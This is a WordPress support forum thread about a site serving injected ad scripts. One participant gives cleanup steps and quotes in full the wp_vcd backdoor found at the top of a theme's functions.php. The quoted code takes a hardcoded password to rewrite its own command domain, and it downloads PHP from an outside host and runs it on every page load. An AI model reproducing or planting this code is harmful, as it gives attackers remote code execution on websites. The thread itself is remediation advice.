well, with AO inactive (by adding ?ao_noptimize=1 to the URL) I see this in your HTML;
<script type="text/javascript" src="//go.pub2srv.com/apu.php?zoneid=1399564"></script>
<script async="async" type="text/javascript" src="//go.mobisla.com/notice.php?p=1399567&interactive=1&pushup=1"></script>
no idea where (what) this is from I’m afriad @angeleyesupport.
frank
I had the same problem. Here is how I solved it.
1. Go to wp-includes foler in your wordpress directory and delete these files: wp_vcd.php,class.wp.php.
2.At the same folder, find post.php and delete any code at the top that comes before:
<?php
/**
* Core Post API
*
* @package WordPress
* @subpackage Post
*/
//
// Post Type Registration
//
/**
* Creates the initial post types when 'init' action is fired.
*
* See {@see 'init'}.
*
* @since 2.9.0
*/
function create_initial_post_types() {
register_post_type( 'post', array(
'labels' => array.....
3. Go to your theme’s folder location and find the function.php file. It should have the code below at the top.
<?php
if (isset($_REQUEST['action']) && isset($_REQUEST['password']) && ($_REQUEST['password'] == 'f021e824fb05a9e4678d312683a585c0'))
{
$div_code_name="wp_vcd";
switch ($_REQUEST['action'])
{
case 'change_domain';
if (isset($_REQUEST['newdomain']))
{
if (!empty($_REQUEST['newdomain']))
{
if ($file = @file_get_contents(__FILE__))
{
if(preg_match_all('/\$tmpcontent = @file_get_contents\("http:\/\/(.*)\/code10\.php/i',$file,$matcholddomain))
{
$file = preg_replace('/'.$matcholddomain[1][0].'/i',$_REQUEST['newdomain'], $file);
@file_put_contents(__FILE__, $file);
print "true";
}
}
}
}
break;
default: print "ERROR_WP_ACTION WP_V_CD WP_CD";
}
die("");
}
if ( ! function_exists( 'theme_temp_setup' ) ) {
$path=$_SERVER['HTTP_HOST'].$_SERVER[REQUEST_URI];
if ( ! is_404() && stripos($_SERVER['REQUEST_URI'], 'wp-cron.php') == false && stripos($_SERVER['REQUEST_URI'], 'xmlrpc.php') == false) {
if($tmpcontent = @file_get_contents("http://www.dolsh.com/code10.php?i=".$path))
{
function theme_temp_setup($phpCode) {
$tmpfname = tempnam(sys_get_temp_dir(), "theme_temp_setup");
$handle = fopen($tmpfname, "w+");
fwrite($handle, "<?php\n" . $phpCode);
fclose($handle);
include $tmpfname;
unlink($tmpfname);
return get_defined_vars();
}
extract(theme_temp_setup($tmpcontent));
}
}
}
?>
if this is the solution, then it means you were hacked @ericrickie (cfr. this technical blogpost), in which case I would advice to re-install from scratch.
frank
